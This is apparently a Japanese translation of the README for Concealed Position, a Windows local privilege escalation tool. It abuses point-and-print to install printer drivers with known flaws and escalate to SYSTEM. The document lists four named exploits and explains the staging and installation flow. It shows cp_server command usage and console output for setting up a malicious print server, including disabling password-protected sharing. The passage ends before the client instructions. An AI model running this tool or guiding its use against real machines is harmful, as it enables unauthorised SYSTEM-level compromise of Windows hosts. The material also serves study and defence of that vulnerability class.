
独自のプリンタドライバを使用した特権昇格ツール
Concealed Position は、「Bring Your Own Vulnerability」の概念を用いた、Windows に対するローカル権限昇格攻撃です。具体的には、Concealed Position(CP)は、Windows のパッケージポイントアンドプリントロジック(設計上、低権限ユーザーがプリンタードライバーをステージングおよびインストールできるようになっている)を利用します。CP は特に、既知の脆弱性を持つドライバーをインストールし、それを悪用して SYSTEM に昇格します。Concealed Position は DEF CON 29 で初めて発表されました。
Concealed Position は 4 つのエクスプロイトを提供します。すべて同様に馬鹿げた名前が付いています:
これらのエクスプロイトは、SLASHINGDAMAGE を除き、問題が修正された後も動作し続けるという点で優れています。Windows がユーザーによる古いドライバーの使用を阻止する唯一の仕組みは、ドライバーの証明書を失効させることですが、これは歴史的に行われていない(?)ようです。
おそらく ACIDDAMAGE です。RADIANTDAMAGE と POISONDAMAGE は競合状態(DLL の上書き)であり、SLASHINGDAMAGE は、おそらくほとんどの環境で修正されているはずです。
Concealed Position には 2 つの部分があります。悪意のあるプリンターサーバーとクライアントです。クライアントはサーバーに接続し、ドライバーを取得し、ドライバーストアに保存し、プリンターをインストールし、インストールプロセスを悪用します。簡単です!MSAPI の言葉で言えば、攻撃は次のようになります:
Step 1: ドライバーをドライバーストアにステージングする
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: ドライバーをドライバーストアからインストールする
client: InstallPrinterDriverFromPackage
Stage 3: ローカルプリンターを追加する(エクスプロイト段階)
client: Add printer
ただし、SLASHINGDAMAGE は実際にはこのように動作しないことに注意することが重要です。SLASHINGDAMAGE は DEFCON 28(2020)で説明された悪意のあるプリンター攻撃の実装であり、とっくに修正されています。私はたまたまこの攻撃が好きで(残りの開発のきっかけとなりました)、混乱を招くかもしれませんが、エクスプロイトを悪意のあるサーバーに残しておこうと思ったのです。
議論の余地はありますが、そうです。ドライバーストアは「サードパーティのドライバーパッケージの信頼できるコレクション」であり、管理者アクセスが必要です。GetPrinterDriver を使用すると、低権限の攻撃者が任意のドライバーをストアにステージングできます。私の目には、これは明らかなセキュリティ境界の侵害です。
Microsoft は CVE-2021-34481 を発行した時点で同意したようです。
とはいえ、これはシステムの単なる機能であり、まったく脆弱性ではないと主張することも可能です。しかし、それはそれほど重要ではありません。攻撃者は標準的な Windows インストール環境で SYSTEM に昇格できます。
少なくとも Windows 8.1 以上です。
簡単です!説明するのに何段落も必要になるほど簡単です!
まず、cp_server のコマンドラインオプションを見てみましょう:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
上記の通り、サーバーには 2 つのオプションが必要です:
例えば、ACIDDAMAGE ドライバーを提供する悪意のあるプリンターを設定したい場合、次のようにします:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
これで完了です。システムに新しいプリンターが表示されます:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
cp_server が促す手動のステップが 1 つあることに注意してください。私は駄目なハッカーなので、「詳細な共有設定」->「パスワード保護共有をオフにする」をプログラムで設定する方法がわかりませんでした。これは自分で行う必要があります!
SLASHINGDAMAGE の使用手順は少し異なります。まず CutePDF Writer をインストールする必要があります(インストーラーは 3rd party ディレクトリにあります)。その後、cp_server を実行し、さらにいくつかの手動ステップと再起動が必要です。
クライアントも同様に簡単に使用できます。コマンドラインオプションを見てみましょう: